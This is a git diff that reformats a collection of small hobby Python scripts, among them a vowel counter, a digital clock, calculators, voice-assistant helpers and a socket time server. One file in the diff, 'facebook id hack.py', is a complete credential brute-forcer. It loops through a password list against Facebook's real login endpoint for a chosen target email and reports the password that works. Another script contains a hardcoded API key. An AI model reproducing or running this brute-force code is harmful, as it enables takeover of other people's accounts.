██╗░░░██╗██╗██████╗░██╗░░░██╗░██████╗ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗████╗░██║██╔══██╗  ██║░░░██║██║██╔══██╗██║░░░██║██╔════╝ ██║░░╚═╝██║░░██║██████╔╝██║░░██║██╔██╗██║███████║  ╚██╗░██╔╝██║██████╔╝██║░░░██║╚█████╗░ ██║░░██╗██║░░██║██╔══██╗██║░░██║██║╚████║██╔══██║  ░╚████╔╝░██║██╔══██╗██║░░░██║░╚═══██╗ ╚█████╔╝╚█████╔╝██║░░██║╚█████╔╝██║░╚███║██║░░██║  ░░╚██╔╝░░██║██║░░██║╚██████╔╝██████╔╝ -░╚════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝  ░░░╚═╝░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░''') +░╚════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝  ░░░╚═╝░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░""" +) print("\nDeveloped By @TheDarkW3b") diff --git a/count_vowels.py b/count_vowels.py index ed35c4c4a8c..852566b3550 100644 --- a/count_vowels.py +++ b/count_vowels.py @@ -1,8 +1,6 @@ +vowels = "aeiou" -vowels = 'aeiou' - -ip_str = 'Hello, have you tried our tutorial section yet?' - +ip_str = "Hello, have you tried our tutorial section yet?" # count the vowels @@ -10,10 +8,10 @@ consonant_count = 0 for char in ip_str: - if char in vowels: - vowel_count += 1 - else: - consonant_count +=1 + if char in vowels: + vowel_count += 1 + else: + consonant_count += 1 -print ("Total Vowels: ", vowel_count) -print ("Total consonants: ", consonant_count) +print("Total Vowels: ", vowel_count) +print("Total consonants: ", consonant_count) diff --git a/create_dir_if_not_there.py b/create_dir_if_not_there.py index 07ad8159c4e..a50db085346 100644 --- a/create_dir_if_not_there.py +++ b/create_dir_if_not_there.py @@ -10,14 +10,20 @@ import os # Import the OS module -MESSAGE = 'The directory already exists.' -TESTDIR = 'testdir' +MESSAGE = "The directory already exists." +TESTDIR = "testdir" try: - home = os.path.expanduser("~") # Set the variable home by expanding the user's set home directory + home = os.path.expanduser( + "~" + ) # Set the variable home by expanding the user's set home directory print(home) # Print the location - if not os.path.exists(os.path.join(home, TESTDIR)): # os.path.join() for making a full path safely - os.makedirs(os.path.join(home, TESTDIR)) # If not create the directory, inside their home directory + if not os.path.exists( + os.path.join(home, TESTDIR) + ): # os.path.join() for making a full path safely + os.makedirs( + os.path.join(home, TESTDIR) + ) # If not create the directory, inside their home directory else: print(MESSAGE) except Exception as e: diff --git a/cricket_news.py b/cricket_news.py index 17525b39b90..8c78c1820e6 100644 --- a/cricket_news.py +++ b/cricket_news.py @@ -3,8 +3,8 @@ import pyttsx3 engine = pyttsx3.init() -voices = engine.getProperty('voices') -engine.setProperty('voice', voices[0].id) +voices = engine.getProperty("voices") +engine.setProperty("voice", voices[0].id) def speak(audio): @@ -12,19 +12,19 @@ def speak(audio): engine.runAndWait() -url = 'https://www.cricbuzz.com/cricket-news/latest-news' +url = "https://www.cricbuzz.com/cricket-news/latest-news" ans = requests.get(url) -soup = BeautifulSoup(ans.content, 'html.parser') +soup = BeautifulSoup(ans.content, "html.parser") -anchors = soup.find_all('a', class_='cb-nws-hdln-ancr text-hvr-underline') +anchors = soup.find_all("a", class_="cb-nws-hdln-ancr text-hvr-underline") i = 1 -speak('Welcome to sports news headlines!') +speak("Welcome to sports news headlines!") for anchor in anchors: speak(anchor.get_text()) - i+=1 - if i==11: - break; - speak('Moving on next sports headline..') -speak('These all are major headlines, have a nice day SIR') + i += 1 + if i == 11: + break + speak("Moving on next sports headline..") +speak("These all are major headlines, have a nice day SIR") diff --git a/currency converter/main.py b/currency converter/main.py index 7399ad6d4bb..a75a047c724 100644 --- a/currency converter/main.py +++ b/currency converter/main.py @@ -1,34 +1,36 @@ -#cc program +# cc program from PyQt5.QtGui import * from PyQt5.QtCore import * from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets,uic +from PyQt5 import QtWidgets, uic from PyQt5.QtCore import * import requests from bs4 import BeautifulSoup from requests.models import ContentDecodingError -def getVal(cont1,cont2): + +def getVal(cont1, cont2): cont1val = cont1.split("-")[1] cont2val = cont2.split("-")[1] url = f"https://free.currconv.com/api/v7/convert?q={cont1val}_{cont2val}&compact=ultra&apiKey=b43a653672c4a94c4c26" r = requests.get(url) htmlContent = r.content - soup = BeautifulSoup(htmlContent,'html.parser') + soup = BeautifulSoup(htmlContent, "html.parser") try: - valCurr = float(soup.get_text().split(":")[1].removesuffix("}")) #{USD:70.00} + valCurr = float(soup.get_text().split(":")[1].removesuffix("}")) # {USD:70.00} except Exception: print("Server down.") exit() return valCurr + app = QtWidgets.QApplication([]) window = uic.loadUi("gui.ui") -f = open("country.txt","r") +f = open("country.txt", "r") window = uic.loadUi("C:/Users/prath/Desktop/Currency-Calculator-Dynamic/gui.ui") -f = open("C:/Users/prath/Desktop/Currency-Calculator-Dynamic/country.txt","r") +f = open("C:/Users/prath/Desktop/Currency-Calculator-Dynamic/country.txt", "r") window.dropDown1.addItem("Select") window.dropDown2.addItem("Select") @@ -38,16 +40,19 @@ def getVal(cont1,cont2): intOnly = QDoubleValidator() window.lineEdit.setValidator(intOnly) + def main(): window.pushButton.clicked.connect(changeBtn) + def changeBtn(): val = window.lineEdit.text() cont1 = window.dropDown1.currentText() cont2 = window.dropDown2.currentText() - valCurr = getVal(cont1.rstrip(),cont2.rstrip()) - window.lcdpanel.display(float(val)*valCurr) + valCurr = getVal(cont1.rstrip(), cont2.rstrip()) + window.lcdpanel.display(float(val) * valCurr) + main() window.show() -app.exec() \ No newline at end of file +app.exec() diff --git a/daily_checks.py b/daily_checks.py index 13d2e2fac9f..337f8d5aebe 100644 --- a/daily_checks.py +++ b/daily_checks.py @@ -21,35 +21,44 @@ def clear_screen(): # Function to clear the screen if os.name == "posix": # Unix/Linux/MacOS/BSD/etc - os.system('clear') # Clear the Screen + os.system("clear") # Clear the Screen elif os.name in ("nt", "dos", "ce"): # DOS/Windows - os.system('CLS') # Clear the Screen + os.system("CLS") # Clear the Screen def print_docs(): # Function to print the daily checks automatically print("Printing Daily Check Sheets:") # The command below passes the command line string to open word, open the document, print it then close word down - subprocess.Popen(["C:\\Program Files (x86)\Microsoft Office\Office14\winword.exe", - "P:\\\\Documentation\\Daily Docs\\Back office Daily Checks.doc", - "/mFilePrintDefault", "/mFileExit"]).communicate() + subprocess.Popen( + [ + "C:\\Program Files (x86)\Microsoft Office\Office14\winword.exe", + "P:\\\\Documentation\\Daily Docs\\Back office Daily Checks.doc", + "/mFilePrintDefault", + "/mFileExit", + ] + ).communicate() def putty_sessions(conffilename): # Function to load the putty sessions I need # Open the file server_list.txt, loop through reading each line # 1.1 -Changed - 1.3 Changed name to use variable conffilename for server in open(conffilename): - subprocess.Popen(('putty -load ' + server)) # Open the PuTTY sessions - 1.1 + subprocess.Popen(("putty -load " + server)) # Open the PuTTY sessions - 1.1 def rdp_sessions(): print("Loading RDP Sessions:") - subprocess.Popen("mstsc eclr.rdp") # Open up a terminal session connection and load the euroclear session + subprocess.Popen( + "mstsc eclr.rdp" + ) # Open up a terminal session connection and load the euroclear session def euroclear_docs(): # The command below opens IE and loads the Euroclear password document subprocess.Popen( - '"C:\\Program Files\\Internet Explorer\\iexplore.exe"' '"file://fs1\pub_b\Pub_Admin\Documentation\Settlements_Files\PWD\Eclr.doc"') + '"C:\\Program Files\\Internet Explorer\\iexplore.exe"' + '"file://fs1\pub_b\Pub_Admin\Documentation\Settlements_Files\PWD\Eclr.doc"' + ) # End of the functions @@ -58,16 +67,25 @@ def euroclear_docs(): # Start of the Main Program def main(): filename = sys.argv[0] # Create the variable filename - confdir = os.getenv("my_config") # Set the variable confdir from the OS environment variable - 1.3 - conffile = 'daily_checks_servers.conf' # Set the variable conffile - 1.3 + confdir = os.getenv( + "my_config" + ) # Set the variable confdir from the OS environment variable - 1.3 + conffile = "daily_checks_servers.conf" # Set the variable conffile - 1.3 # Set the variable conffilename by joining confdir and conffile together - 1.3 conffilename = os.path.join(confdir, conffile) clear_screen() # Call the clear screen function # The command below prints a little welcome message, as well as the script name, # the date and time and where it was run from. - print("Good Morning " + os.getenv('USERNAME') + ", " + - filename, "ran at", strftime("%Y-%m-%d %H:%M:%S"), "on", platform.node(), "run from", os.getcwd()) + print( + "Good Morning " + os.getenv("USERNAME") + ", " + filename, + "ran at", + strftime("%Y-%m-%d %H:%M:%S"), + "on", + platform.node(), + "run from", + os.getcwd(), + ) print_docs() # Call the print_docs function putty_sessions(conffilename) # Call the putty_session function diff --git a/date-timeclient.py b/date-timeclient.py index 69b419afe23..1e6f4c7b914 100644 --- a/date-timeclient.py +++ b/date-timeclient.py @@ -1,6 +1,7 @@ import socket -soc=socket.socket(socket.AF_INET,socket.SOCK_STREAM) -soc.connect((socket.gethostname(),2905)) -recmsg=soc.recv(1024) + +soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +soc.connect((socket.gethostname(), 2905)) +recmsg = soc.recv(1024) soc.close() -print("The time got from the server is %s" % recmsg.decode('ascii')) +print("The time got from the server is %s" % recmsg.decode("ascii")) diff --git a/date-timeserver.py b/date-timeserver.py index 055b35f6ba4..c0d114c02f4 100644 --- a/date-timeserver.py +++ b/date-timeserver.py @@ -1,14 +1,14 @@ import socket import time -soc=socket.socket(socket.AF_INET,socket.SOCK_STREAM) -soc.bind((socket.gethostname(),2905)) +soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +soc.bind((socket.gethostname(), 2905)) soc.listen(5) while True: - - clientsocket,addr = soc.accept() + + clientsocket, addr = soc.accept() print("estavlishes a connection from %s" % str(addr)) currentTime = time.ctime(time.time()) + "\r\n" - clientsocket.send(currentTime.encode('ascii')) + clientsocket.send(currentTime.encode("ascii")) clientsocket.close() diff --git a/days_from_date.py b/days_from_date.py index cb36e3cf3bb..3a166679607 100644 --- a/days_from_date.py +++ b/days_from_date.py @@ -1,31 +1,57 @@ -import re #regular expressions -import calendar #module of python to provide useful fucntions related to calendar -import datetime # module of python to get the date and time +import re # regular expressions +import calendar # module of python to provide useful fucntions related to calendar +import datetime # module of python to get the date and time import tkinter as tk + root = tk.Tk() root.geometry("400x250+50+50") -user_input1=tk.StringVar() +user_input1 = tk.StringVar() + + def process_date(user_input): - user_input=re.sub(r"/", " ", user_input) #substitute / with space - user_input=re.sub(r"-", " ", user_input) #substitute - with space + user_input = re.sub(r"/", " ", user_input) # substitute / with space + user_input = re.sub(r"-", " ", user_input) # substitute - with space return user_input + def find_day(date): - born = datetime.datetime.strptime(date, '%d %m %Y').weekday() #this statement returns an integer corresponding to the day of the week - return (calendar.day_name[born]) #this statement returns the corresponding day name to the integer generated in the previous statement + born = datetime.datetime.strptime( + date, "%d %m %Y" + ).weekday() # this statement returns an integer corresponding to the day of the week + return calendar.day_name[ + born + ] # this statement returns the corresponding day name to the integer generated in the previous statement -#To get the input from the user -#User may type 1/2/1999 or 1-2-1999 -#To overcome those we have to process user input and make it standard to accept as defined by calender and time module + +# To get the input from the user +# User may type 1/2/1999 or 1-2-1999 +# To overcome those we have to process user input and make it standard to accept as defined by calender and time module def printt(): - user_input=user_input1.get() - date=process_date(user_input) - c="Day on " +user_input + " is "+ find_day(date) - label2 = tk.Label(root,text=c,font=("Times new roman",20),fg='black').place(x=20,y=200) - -lbl = tk.Label(root,text="Date --",font=("Ubuntu",20),fg="black").place(x=0,y=0.1,height=60,width=150) -lbl1 = tk.Label(root,text="(DD/MM/YYYY)",font=("Ubuntu",15),fg="Gray").place(x=120,y=0.1,height=60,width=150) -but = tk.Button(root,text="Check",command=printt,cursor="hand2",font=("Times new roman",40),fg="white",bg="black").place(x=50,y=130,height=50,width=300) -Date= tk.Entry(root,font=("Times new roman",20),textvariable=user_input1,bg="white",fg="black").place(x=30,y=50,height=40,width=340) + user_input = user_input1.get() + date = process_date(user_input) + c = "Day on " + user_input + " is " + find_day(date) + label2 = tk.Label(root, text=c, font=("Times new roman", 20), fg="black").place( + x=20, y=200 + ) + + +lbl = tk.Label(root, text="Date --", font=("Ubuntu", 20), fg="black").place( + x=0, y=0.1, height=60, width=150 +) +lbl1 = tk.Label(root, text="(DD/MM/YYYY)", font=("Ubuntu", 15), fg="Gray").place( + x=120, y=0.1, height=60, width=150 +) +but = tk.Button( + root, + text="Check", + command=printt, + cursor="hand2", + font=("Times new roman", 40), + fg="white", + bg="black", +).place(x=50, y=130, height=50, width=300) +Date = tk.Entry( + root, font=("Times new roman", 20), textvariable=user_input1, bg="white", fg="black" +).place(x=30, y=50, height=40, width=340) root.mainloop() diff --git a/dec_to_hex.py b/dec_to_hex.py index 2f93f25ed99..adce0ab816e 100644 --- a/dec_to_hex.py +++ b/dec_to_hex.py @@ -1,2 +1,2 @@ -dec_num = input('Enter the decimal number\n') +dec_num = input("Enter the decimal number\n") print(hex(int(dec_num))) diff --git a/diamond.py b/diamond.py index 2e7231553dc..1ef6ea55d14 100644 --- a/diamond.py +++ b/diamond.py @@ -2,16 +2,16 @@ def draw_diamond(n): if n % 2 != 0: k = 1 while k <= n: - print(' '*int((n - k)/2)+'*'*k+' '*int((n - k)/2)) + print(" " * int((n - k) / 2) + "*" * k + " " * int((n - k) / 2)) k += 2 j = 1 - while (n-2*j) >= 1: - print(' ' *j + '*' * (n-2*j) + ' ' * (j)) + while (n - 2 * j) >= 1: + print(" " * j + "*" * (n - 2 * j) + " " * (j)) j += 1 else: - print('Not an odd number. Can\'t draw a diamond :(') + print("Not an odd number. Can't draw a diamond :(") -n = int(input('Enter an odd number: ')) +n = int(input("Enter an odd number: ")) draw_diamond(n) diff --git a/dice_rolling_simulator.py b/dice_rolling_simulator.py index e069cb6fe79..fd7b5701e92 100644 --- a/dice_rolling_simulator.py +++ b/dice_rolling_simulator.py @@ -82,8 +82,10 @@ def dice12(): def user_exit_checker(): # Checking if the user would like to roll another die, or to exit the program - user_exit_checker_raw = input("\r\nIf you want to roll another die, type [roll]. To exit, type [exit].\r\n?>") - user_exit_checker = (user_exit_checker_raw.lower()) + user_exit_checker_raw = input( + "\r\nIf you want to roll another die, type [roll]. To exit, type [exit].\r\n?>" + ) + user_exit_checker = user_exit_checker_raw.lower() if user_exit_checker == "roll": start() else: diff --git a/diction.py b/diction.py index 9a5218008ad..8fc071cb6b8 100644 --- a/diction.py +++ b/diction.py @@ -3,10 +3,10 @@ import json import speech_recognition as sr -data = json.load(open('data.json')) +data = json.load(open("data.json")) engine = pyttsx3.init() -voices = engine.getProperty('voices') -engine.setProperty('voice', voices[0].id) +voices = engine.getProperty("voices") +engine.setProperty("voice", voices[0].id) def speak(audio): @@ -17,40 +17,39 @@ def speak(audio): def takeCommand(): r = sr.Recognizer() with sr.Microphone() as source: - print('Listening...') + print("Listening...") r.pause_threshold = 1 r.energy_threshold = 494 r.adjust_for_ambient_noise(source, duration=1.5) audio = r.listen(source) try: - print('Recognizing..') - query = r.recognize_google(audio, language='en-in') - print(f'User said: {query}\n') + print("Recognizing..") + query = r.recognize_google(audio, language="en-in") + print(f"User said: {query}\n") except Exception as e: # print(e) - print('Say that again please...') - return 'None' + print("Say that again please...") + return "None" return query def translate(word): word = word.lower() if word in data: - speak('Here is what I found in dictionary..') + speak("Here is what I found in dictionary..") d = data[word] - d = ''.join(str(e) for e in d) + d = "".join(str(e) for e in d) speak(d) elif len(get_close_matches(word, data.keys())) > 0: x = get_close_matches(word, data.keys())[0] - speak('Did you mean ' + x + - ' instead, respond with Yes or No.') + speak("Did you mean " + x + " instead, respond with Yes or No.") ans = takeCommand().lower() - if 'yes' in ans: - speak('ok ' + 'It means..' + data[x]) - elif 'no' in ans: + if "yes" in ans: + speak("ok " + "It means.." + data[x]) + elif "no" in ans: speak("Word doesn't exist. Please make sure you spelled it correctly.") else: speak("We didn't understand your entry.") @@ -59,5 +58,5 @@ def translate(word): speak("Word doesn't exist. Please double check it.") -if __name__ == '__main__': +if __name__ == "__main__": translate() diff --git a/digital_clock.py b/digital_clock.py index d5a4a12c3d2..f461878917b 100644 --- a/digital_clock.py +++ b/digital_clock.py @@ -1,64 +1,67 @@ # master -# importing whole module +# importing whole module # use Tkinter to show a digital clock # using python code base import time -#because we need digital clock , so we are importing the time library. + +# because we need digital clock , so we are importing the time library. # master from tkinter import * from tkinter.ttk import * -# importing strftime function to -# retrieve system's time -from time import strftime +# importing strftime function to +# retrieve system's time +from time import strftime -# creating tkinter window -root = Tk() -root.title('Clock') +# creating tkinter window +root = Tk() +root.title("Clock") # master -# This function is used to -# display time on the label -def def_time(): - string = strftime('%H:%M:%S %p') - lbl.config(text = string) - lbl.after(1000, time) - -# Styling the label widget so that clock -# will look more attractive -lbl = Label(root, font = ('calibri', 40, 'bold', 'italic'), - background = 'Black', - foreground = 'Yellow') - -# Placing clock at the centre -# of the tkinter window -lbl.pack(anchor = 'center') -def_time() - -mainloop() -# ======= -label = Label(root, font=("Arial", 30, 'bold'), bg="black", fg="white", bd =30) -label.grid(row =0, column=1) +# This function is used to +# display time on the label +def def_time(): + string = strftime("%H:%M:%S %p") + lbl.config(text=string) + lbl.after(1000, time) + +# Styling the label widget so that clock +# will look more attractive +lbl = Label( + root, + font=("calibri", 40, "bold", "italic"), + background="Black", + foreground="Yellow", +) + +# Placing clock at the centre +# of the tkinter window +lbl.pack(anchor="center") +def_time() + +mainloop() +# ======= +label = Label(root, font=("Arial", 30, "bold"), bg="black", fg="white", bd=30) +label.grid(row=0, column=1) -#function to declare the tkniter clock +# function to declare the tkniter clock def dig_clock(): - - text_input = time.strftime("%H : %M : %S") # get the current local time from the PC - + + text_input = time.strftime("%H : %M : %S") # get the current local time from the PC + label.config(text=text_input) - + # calls itself every 200 milliseconds # to update the time display as needed # could use >200 ms, but display gets jerky - + label.after(200, dig_clock) - - + # calling the function dig_clock() diff --git a/dir_test.py b/dir_test.py index 6262a48fdf4..992d5924a88 100644 --- a/dir_test.py +++ b/dir_test.py @@ -5,7 +5,7 @@ # Version : 1.0 # Modifications : -# Description : Tests to see if the directory testdir exists, if not it will create the directory for you if you want it created. +# Description : Tests to see if the directory testdir exists, if not it will create the directory for you if you want it created. from __future__ import print_function import os @@ -26,10 +26,10 @@ def main(): print("No directory found for " + CheckDir) # Output if no directory print() option = input("Would you like this directory create? y/n: ") - if option == 'n': + if option == "n": print("Goodbye") exit() - if option == 'y': + if option == "y": os.makedirs(CheckDir) # Creates a new dir for the given name print("Directory created for " + CheckDir) else: @@ -37,5 +37,5 @@ def main(): exit() -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/email id dictionary/dict1.py b/email id dictionary/dict1.py index e0a5bf53122..26c26be8d8d 100644 --- a/email id dictionary/dict1.py +++ b/email id dictionary/dict1.py @@ -1,22 +1,20 @@ #!/usr/bin/env python -counts=dict() -mails=list() -fname=input('Enter file name:') -fh=open(fname) +counts = dict() +mails = list() +fname = input("Enter file name:") +fh = open(fname) for line in fh: - if not line.startswith('From '): + if not line.startswith("From "): continue -# if line.startswith('From:'): -# continue - id=line.split() - mail=id[1] + # if line.startswith('From:'): + # continue + id = line.split() + mail = id[1] mails.append(mail) -freq_mail = max(mails, key=mails.count) #To find frequent mail -print(freq_mail, mails.count(freq_mail)) #To find countof frequent mail - - +freq_mail = max(mails, key=mails.count) # To find frequent mail +print(freq_mail, mails.count(freq_mail)) # To find countof frequent mail """ diff --git a/encryptsys.py b/encryptsys.py index 6a7df8919f4..45daea14fd6 100644 --- a/encryptsys.py +++ b/encryptsys.py @@ -1,6 +1,7 @@ import string from random import randint + def decrypt(): texto = input("Input the text to decrypt : ").split(".") abecedario = string.printable + "áéíóúÁÉÍÚÓàèìòùÀÈÌÒÙäëïöüÄËÏÖÜñÑ´" @@ -34,6 +35,7 @@ def decrypt(): print(textofin) + def encrypt(): texto = input("Input the text to encrypt : ") @@ -71,6 +73,7 @@ def encrypt(): print("\Encrypted text : " + fintext) + sel = input("What would you want to do?\n\n[1] Encrypt\n[2] Decrypt\n\n> ").lower() if sel in ["1", "encrypt"]: diff --git a/env_check.py b/env_check.py index 16ae1a29290..7e7bc53e8cd 100644 --- a/env_check.py +++ b/env_check.py @@ -10,17 +10,26 @@ import os -confdir = os.getenv("my_config") # Set the variable confdir from the OS environment variable -conffile = 'env_check.conf' # Set the variable conffile -conffilename = os.path.join(confdir, conffile) # Set the variable conffilename by joining confdir and conffile together +confdir = os.getenv( + "my_config" +) # Set the variable confdir from the OS environment variable +conffile = "env_check.conf" # Set the variable conffile +conffilename = os.path.join( + confdir, conffile +) # Set the variable conffilename by joining confdir and conffile together for env_check in open(conffilename): # Open the config file and read all the settings - env_check = env_check.strip() # Set the variable as itself, but strip the extra text out - print('[{}]'.format(env_check)) # Format the Output to be in Square Brackets + env_check = ( + env_check.strip() + ) # Set the variable as itself, but strip the extra text out + print("[{}]".format(env_check)) # Format the Output to be in Square Brackets newenv = os.getenv( - env_check) # Set the variable newenv to get the settings from the OS what is currently set for the settings out the configfile + env_check + ) # Set the variable newenv to get the settings from the OS what is currently set for the settings out the configfile if newenv is None: # If it doesn't exist - print(env_check, 'is not set') # Print it is not set + print(env_check, "is not set") # Print it is not set else: # Else if it does exist - print('Current Setting for {}={}\n'.format(env_check, newenv)) # Print out the details + print( + "Current Setting for {}={}\n".format(env_check, newenv) + ) # Print out the details diff --git a/equations.py b/equations.py index 0d13beebb63..1fc4b9159d7 100644 --- a/equations.py +++ b/equations.py @@ -17,7 +17,7 @@ sinput = input("What you would like to solve?") # for Qdc Eqn -if sinput == '1': +if sinput == "1": print("We will solve for equation 'a(x^2) + b(x) + c'") # value of a @@ -25,25 +25,23 @@ b = int(input("What is value of b?")) c = int(input("What is value of c?")) - D = b**2 - 4*a*c + D = b ** 2 - 4 * a * c if D < 0: print("No real values of x satisfies your equation.") else: - x1 = (-b + D)/(2*a) - x2 = (-b - D)/(2*a) + x1 = (-b + D) / (2 * a) + x2 = (-b - D) / (2 * a) - print("Roots for your equation are" , x1, "&", x2) + print("Roots for your equation are", x1, "&", x2) -else: +else: print("You have selected wrong option.") print("Select integer for your equation and run this code again") - - # end of code print("You can visit https://github.com/JymPatel/Python3-FirstEdition") diff --git a/even.py b/even.py index dbf47163222..2faafbc3818 100644 --- a/even.py +++ b/even.py @@ -1,5 +1,5 @@ num = int(input("Enter a number: ")) if (num % 2) == 0: - print("{0} is Even".format(num)) + print("{0} is Even".format(num)) else: - print("{0} is Odd".format(num)) + print("{0} is Odd".format(num)) diff --git a/facebook id hack.py b/facebook id hack.py index 5e17b09821b..a7faa2bb225 100644 --- a/facebook id hack.py +++ b/facebook id hack.py @@ -1,6 +1,6 @@ -#Author-Kingslayer -#Email-kingslayer8509@gmail.com -#you need to create a file password.txt which contains all possible passwords +# Author-Kingslayer +# Email-kingslayer8509@gmail.com +# you need to create a file password.txt which contains all possible passwords import requests import threading import urllib.request @@ -8,60 +8,65 @@ from bs4 import BeautifulSoup import sys -if sys.version_info[0] !=3: - print('''-------------------------------------- +if sys.version_info[0] != 3: + print( + """-------------------------------------- REQUIRED PYTHON 3.x use: python3 fb.py -------------------------------------- - ''') - sys.exit() + """ + ) + sys.exit() -post_url='https://www.facebook.com/login.php' +post_url = "https://www.facebook.com/login.php" headers = { - 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", } -payload={} -cookie={} +payload = {} +cookie = {} + def create_form(): - form=dict() - cookie={'fr':'0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'} + form = dict() + cookie = {"fr": "0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy"} + + data = requests.get(post_url, headers=headers) + for i in data.cookies: + cookie[i.name] = i.value + data = BeautifulSoup(data.text, "html.parser").form + if data.input["name"] == "lsd": + form["lsd"] = data.input["value"] + return (form, cookie) + - data=requests.get(post_url,headers=headers) - for i in data.cookies: - cookie[i.name]=i.value - data=BeautifulSoup(data.text,'html.parser').form - if data.input['name']=='lsd': - form['lsd']=data.input['value'] - return (form,cookie) +def function(email, passw, i): + global payload, cookie + if i % 10 == 1: + payload, cookie = create_form() + payload["email"] = email + payload["pass"] = passw + r = requests.post(post_url, data=payload, cookies=cookie, headers=headers) + if "Find Friends" in r.text or "Two-factor authentication required" in r.text: + open("temp", "w").write(str(r.content)) + print("\npassword is : ", passw) + return True + return False -def function(email,passw,i): - global payload,cookie - if i%10==1: - payload,cookie=create_form() - payload['email']=email - payload['pass']=passw - r=requests.post(post_url,data=payload,cookies=cookie,headers=headers) - if 'Find Friends' in r.text or 'Two-factor authentication required' in r.text: - open('temp','w').write(str(r.content)) - print('\npassword is : ',passw) - return True - return False -print('\n---------- Welcome To Facebook BruteForce ----------\n') -file=open('passwords.txt','r') +print("\n---------- Welcome To Facebook BruteForce ----------\n") +file = open("passwords.txt", "r") -email=input('Enter Email/Username : ') +email = input("Enter Email/Username : ") -print("\nTarget Email ID : ",email) +print("\nTarget Email ID : ", email) print("\nTrying Passwords from list ...") -i=0 +i = 0 while file: - passw=file.readline().strip() - i+=1 - if len(passw) < 6: - continue - print(str(i) +" : ",passw) - if function(email,passw,i): - break + passw = file.readline().strip() + i += 1 + if len(passw) < 6: + continue + print(str(i) + " : ", passw) + if function(email, passw, i): + break diff --git a/facebook-autologin-bot.py b/facebook-autologin-bot.py index 63d08f54074..261f02721d5 100644 --- a/facebook-autologin-bot.py +++ b/facebook-autologin-bot.py @@ -1,59 +1,66 @@ import pyttsx3 import time from selenium import webdriver -tts= pyttsx3.init() -rate = tts.getProperty('rate') + +tts = pyttsx3.init() +rate = tts.getProperty("rate") newVoiceRate = 160 -tts.setProperty('rate', newVoiceRate) +tts.setProperty("rate", newVoiceRate) + + def welcome(): - print('>') + print(">") print("Welcome to Autobot created by Vijay.Use exit or quite to exit.") - text="Welcome to Autobot created by Vijay" + text = "Welcome to Autobot created by Vijay" speak(text) time.sleep(1) - text="Use exit or quite to exit." + text = "Use exit or quite to exit." speak(text) - print('<') + print("<") + def speak(text): tts.say(text) tts.runAndWait() + welcome() -t=1 -while(t==1): - text=str(input(">>")) - if 'hello' in text: - text="hello my name is Autobot" +t = 1 +while t == 1: + text = str(input(">>")) + if "hello" in text: + text = "hello my name is Autobot" print("hello my name is Autobot") speak(text) - text="I can autologin to your social sites like facebook twitter github and instagram" - print("I can autologin to your social sites like facebook twitter github and instagram") + text = "I can autologin to your social sites like facebook twitter github and instagram" + print( + "I can autologin to your social sites like facebook twitter github and instagram" + ) speak(text) continue if "facebook" or "fb" in text: print("Opening Your Facebook Account") - text="Opening Your Facebook Account" + text = "Opening Your Facebook Account" speak(text) - #your username and password here - username="your username" - password="yourpassword" - #download webdriver of suitable version by link below - #https://sites.google.com/a/chromium.org/chromedriver/downloads - #locate your driver + # your username and password here + username = "your username" + password = "yourpassword" + # download webdriver of suitable version by link below + # https://sites.google.com/a/chromium.org/chromedriver/downloads + # locate your driver driver = webdriver.Chrome("C:\\Users\\AJAY\\Desktop\\chromedriver.exe") - url="https://www.facebook.com" + url = "https://www.facebook.com" print("Opening facebook...") driver.get(url) - driver.find_element_by_id('email').send_keys(username) + driver.find_element_by_id("email").send_keys(username) print("Entering Your Username...") time.sleep(1) - driver.find_element_by_id('pass').send_keys(password) + driver.find_element_by_id("pass").send_keys(password) print("Entering Your password...") - driver.find_element_by_name('login').click() + driver.find_element_by_name("login").click() time.sleep(4) print("Login Successful") - text="Login Successful Enjoy your day sir" + text = "Login Successful Enjoy your day sir" speak(text) continue else: diff --git a/fact.py b/fact.py index 9a46165d190..c4d8c4376aa 100644 --- a/fact.py +++ b/fact.py @@ -1,15 +1,13 @@ - num = 7 - factorial = 1 if num < 0: - print("Sorry, factorial does not exist for negative numbers") + print("Sorry, factorial does not exist for negative numbers") elif num == 0: - print("The factorial of 0 is 1") + print("The factorial of 0 is 1") else: - for i in range(1,num + 1): - factorial = factorial*i - print("The factorial of",num,"is",factorial) + for i in range(1, num + 1): + factorial = factorial * i + print("The factorial of", num, "is", factorial) diff --git a/factorial_perm_comp.py b/factorial_perm_comp.py index 25f6f872079..f329eac3380 100644 --- a/factorial_perm_comp.py +++ b/factorial_perm_comp.py @@ -1,10 +1,10 @@ # Script Name : factorial_perm_comp.py # Author : Ebiwari Williams # Created : 20th May 2017 -# Last Modified : +# Last Modified : # Version : 1.0 -# Modifications : +# Modifications : # Description : Find Factorial, Permutation and Combination of a Number @@ -27,51 +27,51 @@ def combination(n, r): def main(): - print('choose between operator 1,2,3') - print('1) Factorial') - print('2) Permutation') - print('3) Combination') + print("choose between operator 1,2,3") + print("1) Factorial") + print("2) Permutation") + print("3) Combination") - operation = input('\n') + operation = input("\n") - if operation == '1': - print('Factorial Computation\n') + if operation == "1": + print("Factorial Computation\n") while True: try: - n = int(input('\n Enter Value for n ')) - print('Factorial of {} = {}'.format(n, factorial(n))) + n = int(input("\n Enter Value for n ")) + print("Factorial of {} = {}".format(n, factorial(n))) break except ValueError: - print('Invalid Value') + print("Invalid Value") continue - elif operation == '2': - print('Permutation Computation\n') + elif operation == "2": + print("Permutation Computation\n") while True: try: - n = int(input('\n Enter Value for n ')) - r = int(input('\n Enter Value for r ')) - print('Permutation of {}P{} = {}'.format(n, r, permutation(n, r))) + n = int(input("\n Enter Value for n ")) + r = int(input("\n Enter Value for r ")) + print("Permutation of {}P{} = 